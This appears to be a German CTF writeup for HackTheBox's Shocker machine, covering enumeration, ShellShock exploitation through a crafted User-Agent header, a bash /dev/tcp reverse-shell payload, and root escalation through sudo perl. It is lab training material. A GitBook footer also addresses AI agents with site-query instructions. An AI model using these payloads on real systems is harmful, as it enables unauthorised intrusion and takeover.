> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Shocker HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Shocker mit Abdeckung des ShellShock-Angriffs (User-Agent), Missbrauch von Sudoers-Privilegien (Perl), mit praktischen Notizen zu Enumeration, Ausnutzung, Foothold und Privilegieneskalation no

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* ShellShock-Angriff (User-Agent)
* Ausnutzen der Sudoers-Rechte (Perl)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d93eb3520599c6edf2ddfe190e55c917b23304b9%2F%7B1C430D9A-27F2-456F-9DBE-AC430ABF1E3D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b82170b1232d8ee4e4fc1449f440f0dfb2fb0f35%2Fimage%20(918).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9708e3efe276847a86c7a90bfa278f4d0e8fe078%2F%7BB6D4D233-0C4D-4B4F-96FF-75065F290B7A%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (80.2222)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-614e088e93679a9157b13b6520c28a4119a15e95%2F%7B58613390-EFD2-490E-B144-64A5B595CD40%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffd003fbecf19adc44c4e1d920c4200c447989b9%2Fimage%20(919).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec4d6fa4ae9a50b62e154bd68f0e289c7782bcd4%2Fimage%20(920).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Auflistung von Verzeichnissen

Wir verwenden **WFuzz** um zugängliche Verzeichnisse zu identifizieren:

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8de93b7974f32e974ff290eee66788077ef75704%2Fimage%20(921).png?alt=media" alt=""><figcaption></figcaption></figure>

Dies zeigt das **cgi-bin** Verzeichnis, das oft mit ausnutzbaren Skripten in Verbindung gebracht wird.

## ShellShock-Schwachstelle

#### Nach ausnutzbaren Dateien suchen

Wir filtern nach Dateien mit Erweiterungen wie `.sh`, `.pl`oder `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

Das **user.sh** Datei identifiziert. Dieses Skript scheint dynamisch zu sein und könnte verwundbar sein.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67d8f20e7e89b7fae5744dd36c57b69b20271c6a%2Fimage%20(922).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Erkennung der Schwachstelle

Wir verwenden das folgende Nmap-Skript, um die Schwachstelle zu testen:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

Der Scan bestätigt, dass die **user.sh** Datei anfällig für ShellShock ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b2749307e257cec99b3e1c2ba071f283918c167%2Fimage%20(924).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Auftragsabwicklung

Um die Befehlsausführung zu testen, verwenden wir **curl** mit einem bösartigen User-Agent:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

Dies gibt den aktiven Benutzernamen zurück.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fab2f29494a8dbe0daee95b2941e12397defd75d%2Fimage%20(925).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Umkehr-Shell

Um eine Reverse Shell zu erhalten:

1. Auf Port 443 lauschen:

```bash
nc -nlvp 443
```

2. Fügen Sie die folgende Nutzlast ein:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-662750d5165fbb6e1e779b63d9a544a620001642%2Fimage%20(926).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b58fbcf8819a8d6110463895360a39b3119e926%2Fimage%20(927).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### Sudoers - Perl

Beim Analysieren von **Sudoers** Rechten fällt uns auf, dass der Benutzer die Berechtigung hat, `perl` als **root**. Dies kann mit dem folgenden Befehl verifiziert werden:

```bash
sudo -l 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca43271ce027ea512dc19f2c34f9e97a0cebdb15%2F%7BC9C8788B-FA82-4310-8975-BB72BD892772%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ausnutzung

Um diese Konfiguration auszunutzen und eine Shell mit Root-Rechten zu erhalten, fügen Sie einfach den folgenden Befehl ein:

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcd7b8b225cb58b631c67af204ee0d65bd99782a%2Fimage%20(928).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d365b57b0b8970bf5e87a6b6c0dcf64793e8061%2Fimage%20(929).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c8cc57387d1f8b07e6a00359f861578ea78321a%2F%7B432DFD2D-D92E-4AE4-9971-EF602F58FA92%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
